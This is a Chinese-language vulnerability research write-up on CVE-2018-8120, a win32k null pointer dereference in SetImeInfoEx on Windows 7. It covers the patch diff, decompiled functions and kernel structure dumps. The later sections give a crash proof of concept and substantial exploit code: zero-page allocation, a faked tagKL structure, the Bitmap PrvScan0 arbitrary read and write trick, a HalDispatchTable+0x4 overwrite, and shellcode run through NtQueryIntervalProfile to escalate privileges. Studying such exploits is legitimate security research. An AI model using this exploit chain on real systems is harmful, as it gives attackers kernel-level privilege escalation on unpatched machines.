CVE-2018-8120 Windows内核空指针解引用漏洞分析

0x00:前言

2018年5月微软发布了一次安全补丁,其中有一个是对内核空指针解引用的修复,本片文章从补丁对比出发,对该内核漏洞进行分析,对应CVE-2018-8120,实验平台是Windows 7 x86 sp1

0x01:补丁对比

对比四月和五月的安全补丁可以定位以下几个关键函数,逐个分析观察可以定位到我们本次分析的的关键函数SetImeInfoEx

1560868933354

可以看到五月的补丁对SetImeInfoEx多了一层检验

1560869047048

IDA中观察4月补丁反汇编如下,稍微添加了一些注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
signed int __stdcall SetImeInfoEx(signed int pwinsta, const void *piiex)
{
signed int result; // eax
int v3; // eax
int v4; // eax

result = pwinsta;
if ( pwinsta ) // 判断 pwinsta 是否为空
{
v3 = *(_DWORD *)(pwinsta + 0x14); // 获取 pwinsta + 0x14 处的值,也就是 spkList
while ( *(_DWORD *)(v3 + 0x14) != *(_DWORD *)piiex )// 未判断指针内容直接引用,触发空指针解引用漏洞
{
v3 = *(_DWORD *)(v3 + 8);
if ( v3 == *(_DWORD *)(pwinsta + 0x14) )
return 0;
}
v4 = *(_DWORD *)(v3 + 0x2C);
if ( !v4 )
return 0;
if ( !*(_DWORD *)(v4 + 0x48) )
qmemcpy((void *)v4, piiex, 0x15Cu);
result = 1;
}
return result;
}

5月补丁反汇编如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
signed int __stdcall SetImeInfoEx(signed int pwinsta, const void *piiex)
{
signed int result; // edx
int v3; // eax
int v4; // eax

if ( !pwinsta )
return 0;
result = *(_DWORD *)(pwinsta + 0x14);
if ( !result )
return 0;
v3 = *(_DWORD *)(pwinsta + 0x14);
while ( *(_DWORD *)(v3 + 0x14) != *(_DWORD *)piiex )
{
v3 = *(_DWORD *)(v3 + 8);
if ( v3 == result )
return 0;
}
v4 = *(_DWORD *)(v3 + 0x2C);
if ( !v4 )
return 0;
if ( !*(_DWORD *)(v4 + 0x48) )
qmemcpy((void *)v4, piiex, 0x15Cu);
return 1;
}

可以看到五月的补丁对于参数v3是否为零进行了一次检测,我们对比SetImeInfoEx函数的实现发现,也就是多了对成员域 spklList的检测,v3就是我们的spklList,该函数的主要作用是对扩展结构IMEINFO进行设置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// nt4 源码
/**************************************************************************\
* SetImeInfoEx
*
* Set extended IMEINFO.
*
* History:
* 21-Mar-1996 wkwok Created
\**************************************************************************/

BOOL SetImeInfoEx(
PWINDOWSTATION pwinsta,
PIMEINFOEX piiex)
{
PKL pkl, pklFirst;

UserAssert(pwinsta->spklList != NULL);

pkl = pklFirst = pwinsta->spklList;

do {
if (pkl->hkl == piiex->hkl) {

/*
* Error out for non-IME based keyboard layout.
*/
if (pkl->piiex == NULL)
return FALSE;

/*
* Update kernel side IMEINFOEX for this keyboard layout
* only if this is its first loading.
*/
if (pkl->piiex->fLoadFlag == IMEF_NONLOAD) {
RtlCopyMemory(pkl->piiex, piiex, sizeof(IMEINFOEX));
}

return TRUE;
}
pkl = pkl->pklNext;

} while (pkl != pklFirst);

return FALSE;
}

同样的修复我们可以在ReorderKeyboardLayouts函数中看到,也是对spklList成员域进行了限制

1560870519272

ReorderKeyboardLayouts函数实现如下,可以看到函数也对spklList进行了调用,我们这里主要分析SetImeInfoEx函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// nt4 源码
VOID ReorderKeyboardLayouts(
PWINDOWSTATION pwinsta,
PKL pkl)
{
PKL pklFirst = pwinsta->spklList;

UserAssert(pklFirst != NULL);

/*
* If the layout is already at the front of the list there's nothing to do.
*/
if (pkl == pklFirst) {
return;
}
/*
* Cut pkl from circular list:
*/
pkl->pklPrev->pklNext = pkl->pklNext;
pkl->pklNext->pklPrev = pkl->pklPrev;

/*
* Insert pkl at front of list
*/
pkl->pklNext = pklFirst;
pkl->pklPrev = pklFirst->pklPrev;

pklFirst->pklPrev->pklNext = pkl;
pklFirst->pklPrev = pkl;

Lock(&pwinsta->spklList, pkl);
}

结合上面微软对于两个函数的修复,我们可以猜测这次的修复主要是对spklList成员域的错误调用进行修复,从SetImeInfoEx函数的交叉引用中,因为只有一处交叉引用,所以我们可以追溯到调用函数NtUserSetImeInfoEx,通过分析可以看到该函数的主要作用是对进程中的窗口进行设置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
signed int __stdcall NtUserSetImeInfoEx(char *buf)
{
signed int v1; // esi
char *v2; // ecx
char v3; // al
signed int pwinsta; // eax
char piiex; // [esp+10h] [ebp-178h]
CPPEH_RECORD ms_exc; // [esp+170h] [ebp-18h]

UserEnterUserCritSec();
if ( *(_BYTE *)gpsi & 4 )
{
ms_exc.registration.TryLevel = 0;
v2 = buf;
if ( (unsigned int)buf >= W32UserProbeAddress )
v2 = (char *)W32UserProbeAddress;
v3 = *v2;
qmemcpy(&piiex, buf, 0x15Cu);
ms_exc.registration.TryLevel = 0xFFFFFFFE;
pwinsta = _GetProcessWindowStation(0);
v1 = SetImeInfoEx(pwinsta, &piiex); // 参数 pwinsta 由 _GetProcessWindowStation(0) 获得
// 参数 piiex 在 qmemcpy 函数中由 a1 拷贝得到,而 a1 是我们可控的传入参数
}
else
{
UserSetLastError(0x78);
v1 = 0;
}
UserSessionSwitchLeaveCrit();
return v1;
}

SetImeInfoEx函数中,我们可以看到传入的指针PWINDOWSTATION指向结构体tagWINDOWSTATION结构如下,也就是窗口站结构,其中偏移 0x14 处可以找到spklList,我们需要关注的点我会进行注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
1: kd> dt win32k!tagWINDOWSTATION
+0x000 dwSessionId : Uint4B
+0x004 rpwinstaNext : Ptr32 tagWINDOWSTATION
+0x008 rpdeskList : Ptr32 tagDESKTOP
+0x00c pTerm : Ptr32 tagTERMINAL
+0x010 dwWSF_Flags : Uint4B
+0x014 spklList : Ptr32 tagKL // 关注点
+0x018 ptiClipLock : Ptr32 tagTHREADINFO
+0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO
+0x020 spwndClipOpen : Ptr32 tagWND
+0x024 spwndClipViewer : Ptr32 tagWND
+0x028 spwndClipOwner : Ptr32 tagWND
+0x02c pClipBase : Ptr32 tagCLIP
+0x030 cNumClipFormats : Uint4B
+0x034 iClipSerialNumber : Uint4B
+0x038 iClipSequenceNumber : Uint4B
+0x03c spwndClipboardListener : Ptr32 tagWND
+0x040 pGlobalAtomTable : Ptr32 Void
+0x044 luidEndSession : _LUID
+0x04c luidUser : _LUID
+0x054 psidUser : Ptr32 Void

我们继续追溯到spklList指向的结构tagKL,可以看到是一个键盘布局对象结构体,结构体成员中我们可以看到成员piiex指向一个基于tagIMEINFOEX布局的扩展信息,而在SetImeInfoEx函数中,该成员作为第二个参数传入,作为内存拷贝的内容,我们还可以发现有两个很相似的指针pklNextpklPrev负责指向布局对象的前后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
1: kd> dt win32k!tagKL
+0x000 head : _HEAD
+0x008 pklNext : Ptr32 tagKL // 关注点
+0x00c pklPrev : Ptr32 tagKL // 关注点
+0x010 dwKL_Flags : Uint4B
+0x014 hkl : Ptr32 HKL__ // 关注点
+0x018 spkf : Ptr32 tagKBDFILE
+0x01c spkfPrimary : Ptr32 tagKBDFILE
+0x020 dwFontSigs : Uint4B
+0x024 iBaseCharset : Uint4B
+0x028 CodePage : Uint2B
+0x02a wchDiacritic : Wchar
+0x02c piiex : Ptr32 tagIMEINFOEX // 关注点
+0x030 uNumTbl : Uint4B
+0x034 pspkfExtra : Ptr32 Ptr32 tagKBDFILE
+0x038 dwLastKbdType : Uint4B
+0x03c dwLastKbdSubType : Uint4B
+0x040 dwKLID : Uint4B

piiex指向的tagIMEINFOEX的结构如下

1
2
3
4
5
6
7
8
9
10
11
12
13
1: kd> dt win32k!tagIMEINFOEX
+0x000 hkl : Ptr32 HKL__
+0x004 ImeInfo : tagIMEINFO
+0x020 wszUIClass : [16] Wchar
+0x040 fdwInitConvMode : Uint4B
+0x044 fInitOpen : Int4B
+0x048 fLoadFlag : Int4B // 关注点
+0x04c dwProdVersion : Uint4B
+0x050 dwImeWinVersion : Uint4B
+0x054 wszImeDescription : [50] Wchar
+0x0b8 wszImeFile : [80] Wchar
+0x158 fSysWow64Only : Pos 0, 1 Bit
+0x158 fCUASLayer : Pos 1, 1 Bit

0x02:漏洞复现

通过上面对每个成员的分析,我们大概知道了函数之间的调用关系,这里再简单总结一下,首先当用户在R3调用CreateWindowStation生成一个窗口时,新建的 WindowStation 对象其偏移 0x14 位置的 spklList 字段的值默认是零,如果我们调用R0函数NtUserSetImeInfoEx,传入一个我们定义的 buf ,函数就会将 buf 传给 piiex 在传入 SetImeInfoEx 中,一旦调用了 SetImeInfoEx 函数,因为 spklList 字段是零,所以就会访问到零页内存,导致蓝屏,所以我们构造如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include<stdio.h>
#include<Windows.h>

#define IM_UI_CLASS_SIZE 16
#define IM_FILE_SIZE 80
#define IM_DESC_SIZE 50

typedef struct {
DWORD dwPrivateDataSize;
DWORD fdwProperty;
DWORD fdwConversionCaps;
DWORD fdwSentenceCaps;
DWORD fdwUICaps;
DWORD fdwSCSCaps;
DWORD fdwSelectCaps;
} tagIMEINFO;

typedef struct {
HKL hkl;
tagIMEINFO ImeInfo;
WCHAR wszUIClass[IM_UI_CLASS_SIZE];
DWORD fdwInitConvMode;
BOOL fInitOpen;
BOOL fLoadFlag;
DWORD dwProdVersion;
DWORD dwImeWinVersion;
WCHAR wszImeDescription[IM_DESC_SIZE];
WCHAR wszImeFile[IM_FILE_SIZE];
CHAR fSysWow64Only : 1;
BYTE fCUASLayer : 1;
} tagIMEINFOEX;

// 通过系统调用实现NtUserSetImeInfoEx函数
static
BOOL
__declspec(naked)
NtUserSetImeInfoEx(tagIMEINFOEX* imeInfoEx)
{
__asm { mov eax, 1226h };
__asm { lea edx, [esp + 4] };
__asm { int 2eh };
__asm { ret };
}

int main()
{
// 新建一个新的窗口,新建的WindowStation对象其偏移0x14位置的spklList字段的值默认是零
HWINSTA hSta = CreateWindowStation(
0, //LPCSTR lpwinsta
0, //DWORD dwFlags
READ_CONTROL, //ACCESS_MASK dwDesiredAccess
0 //LPSECURITY_ATTRIBUTES lpsa
);

// 和窗口当前进程关联起来
SetProcessWindowStation(hSta);

char buf[0x4];
memset(buf, 0x41, sizeof(buf));

// WindowStation->spklList字段为0,函数继续执行将触发0地址访问异常
NtUserSetImeInfoEx((PVOID)&buf);

return 0;
}

运行发现果然蓝屏了,问题出在 win32k.sys

1565265591357

我们通过蓝屏信息定位到问题地址,确实是我们前面所说的SetImeInfoEx函数

1565265882939

0x03:漏洞利用

利用思路

我们利用的思路首先可以想到因为是在win 7的环境中,我们可以在零页构造一些结构,所以我们这里首先获得并调用申请零页的函数NtAllocateVirtualMemory,因为内存对齐的问题我们这里申请大小的参数设置为 1 以申请到零页内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// 申明函数
*(FARPROC*)& NtAllocateVirtualMemory = GetProcAddress(
GetModuleHandleW(L"ntdll"),
"NtAllocateVirtualMemory");

if (NtAllocateVirtualMemory == NULL)
{
printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
system("pause");
return 0;
}

// 零页申请内存
PVOID Zero_addr = (PVOID)1;
SIZE_T RegionSize = 0x1000;

printf("[+] Started to alloc zero page");
if (!NT_SUCCESS(NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || Zero_addr != NULL)
{
printf("[+] Failed to alloc zero page!\n");
system("pause");
return 0;
}

ZeroMemory(Zero_addr, RegionSize);
printf(" => done!\n");

申请到内存我们就需要开始思考如何进行构造,我们再详细回顾一下漏洞复现例子中的一些函数,根据前面的例子我们知道,需要使用到CreateWindowStation创建窗口函数,详细的调用方法如下

1
2
3
4
5
6
HWINSTA CreateWindowStationA(
LPCSTR lpwinsta,
DWORD dwFlags,
ACCESS_MASK dwDesiredAccess,
LPSECURITY_ATTRIBUTES lpsa
);

创建好窗口站对象之后我们还需要将当前进程和窗口站对应起来,需要用到 SetProcessWindowStation 函数将指定的窗口站分配给调用进程。这使进程能够访问窗口站中的对象,如桌面、剪贴板和全局原子。窗口站上的所有后续操作都使用授予hWinSta的访问权限

1
2
3
BOOL SetProcessWindowStation(
HWINSTA hWinSta
);

最后一步就是调用xxNtUserSetImeInfoEx函数蓝屏,我们这里能做手脚的就是给xxNtUserSetImeInfoEx函数传入的参数piiex

1
2
3
// nt4 源码
BOOL NtUserSetImeInfoEx(
IN PIMEINFOEX piiex);

我们在IDA中继续分析一下并粗略的构造一个思路,这里我根据结构重新注释修复了一下 IDA 反汇编的结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
bool __stdcall SetImeInfoEx(DWORD *pwinsta, DWORD *piiex)
{
bool result; // al
DWORD *spklList; // eax
DWORD *tagKL_piiex; // eax

result = (char)pwinsta;
if ( pwinsta )
{
spklList = (DWORD *)pwinsta[5]; // pwinsta 指向 tagWINDOWSTATION 结构
// pwinsta[5] == tagWINDOWSTATION->spklList
while ( spklList[5] != *piiex ) // spklList 指向 tagKL 结构
// spklList[5] == tagKL->hkl
// tagKL->hkl == &piiex 绕过第一个检验
{
spklList = (DWORD *)spklList[2];
if ( spklList == (DWORD *)pwinsta[5] )
return 0;
}
tagKL_piiex = (DWORD *)spklList[0xB]; // spklList[0xB] == tagKL->piiex
if ( !tagKL_piiex ) // tagKL->piiex 不能为零绕过第二个检验
return 0;
if ( !tagKL_piiex[0x12] ) // piiex 指向 tagIMEINFOEX 结构
// piiex[0x12] == tagIMEINFOEX->fLoadFlag
// 这里 tagIMEINFOEX->fLoadFlag 需要为零才能执行拷贝函数
qmemcpy(tagKL_piiex, piiex, 0x15Cu);
result = 1;
}
return result;
}

需要清楚的是,我们最后SetImeInfoEx中的拷贝函数会给我们带来什么作用,他会把我们传入的piiex拷贝到tagKL->piiex中,拷贝的大小是 0x15C ,我们这里其实想到的是拷贝之后去覆盖 HalDispatchTable+0x4的位置,然后调用NtQueryIntervalProfile函数提权,所以我们只需要覆盖四个字节,为了达到更精准的覆盖我们想到了 win10 中的滥用Bitmap对象达到任意地址的读和写,那么在 win 7 中我们如何运用这个手法呢?其实很简单,原理上和 win 10 相同,只是我们现在有个问题,要达到任意地址的读和写,我们必须得让hManagerPrvScan0指向hworkerPrvScan0,我们如何实现这个目标呢?聪明的你一定想到了前面的拷贝函数,让我们先粗略的构造一个利用思路:

  • 初始化申请零页内存
  • 新建一个窗口并与当前线程关联
  • 申请并泄露Bitmap中的PrvScan0地址
  • 在零页构造结构体绕过检查实现能够调用拷贝函数
  • 构造xxNtUserSetImeInfoEx函数的参数并调用实现hManagerPrvScan0指向hworkerPrvScan0
  • HalDispatchTable+0x4内容写为shellcode的内容
  • 调用NtQueryIntervalProfile函数运行shellcode提权

xxNtUserSetImeInfoEx参数构造

有了思路我们现在就只差时间了,慢慢的调试总能给我们一个完美的结果(吗),我们知道NtUserSetImeInfoEx函数的参数是一个tagIMEINFOEX结构而tagKL则指向这个结构,根据前面IDA中的注释,我们知道我们需要绕过几个地方的检验,从检验中我们可以发现需要做手教的地方分别是tagKL->hkltagKL->piiex,我们的tagKL->hkl需要和传入的piiex地址一致,tagKL->piiex这个结构有两处检验,第一处是自己不能为空,第二处是tagIMEINFOEX->fLoadFlag也必须赋值,观察Bitmap的结构,我们知道 +0x2c 偏移处刚好不为零,所以我们考虑如下构造,把tagKL->piiex赋值为pManagerPrvScan0,把tagKL->hkl赋值为pWorkerPrvScan0,为了使传入的piiex与我们的tagKL->hkl相等,我们将其构造为pWorkerPrvScan0的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
DWORD* faketagKL = (DWORD*)0x0;
// 手动构造 pWorkerPrvScan0 结构
*(DWORD*)((PBYTE)& fakepiiex + 0x0) = pWorkerPrvScan0;
*(DWORD*)((PBYTE)& fakepiiex + 0x4) = 0x104;
*(DWORD*)((PBYTE)& fakepiiex + 0x8) = 0x00001b97;
*(DWORD*)((PBYTE)& fakepiiex + 0xC) = 0x00000003;
*(DWORD*)((PBYTE)& fakepiiex + 0x10) = 0x00010000;
*(DWORD*)((PBYTE)& fakepiiex + 0x18) = 0x04800200;
printf("[+] piiex address is : 0x%p\n", fakepiiex); // pWorkerPrvScan0
printf("[+] &piiex address is : 0x%p\n", &fakepiiex);
printf("[+] faketagKL address is : 0x%p\n", faketagKL);
// 绕过检验
*(DWORD*)((PUCHAR)faketagKL + 0x14) = pWorkerPrvScan0; // tagKL->hkl
*(DWORD*)((PUCHAR)faketagKL + 0x2c) = pManagerPrvScan0; // tagKL->piiex
xxNtUserSetImeInfoEx(&fakepiiex); // 拷贝函数实现 pManagerPrvScan0->pWorkerPrvScan0

xxNtUserSetImeInfoEx函数之后下断点你会发现已经实现了pManagerPrvScan0->pWorkerPrvScan0,这时我们就可以尽情的任意读写了

1565435583152

GetShell

最后提权的过程还是和以前一样,覆盖HalDispatchTable+0x4函数指针,然后调用NtQueryIntervalProfile函数达到运行shellcode的目的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
VOID GetShell()
{
DWORD interVal = 0;
DWORD32 halHooked = GetHalOffset_4();

NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryIntervalProfile");
//__debugbreak();
writeOOB(halHooked, (PVOID)& ShellCode, sizeof(DWORD32));
// 1. hManagerPrvScan0->hworkerPrvScan0->HalDispatchTable+0x4
// 2. hManagerPrvScan0->hworkerPrvScan0->HalDispatchTable+0x4->shellcode

// 执行shellcode
NtQueryIntervalProfile(0x1234, &interVal);
}

最终整合一下思路和代码我们就可以提权了(不要在意这盗版的win 7…),效果如下,详细的代码参考 => 这里

2018-8120

0x04:后记

这个漏洞也可以在win 7 x64下利用,后续我会考虑把64位的利用代码完善一下,思路都差不多,主要修改的地方是偏移和汇编代码的嵌入问题,这个漏洞主要是在零页的构造,如果在win 8中就很难利用,毕竟没有办法在零页申请内存

参考资料:

[+] https://www.freebuf.com/vuls/174183.html

[+] https://xiaodaozhi.com/exploit/149.html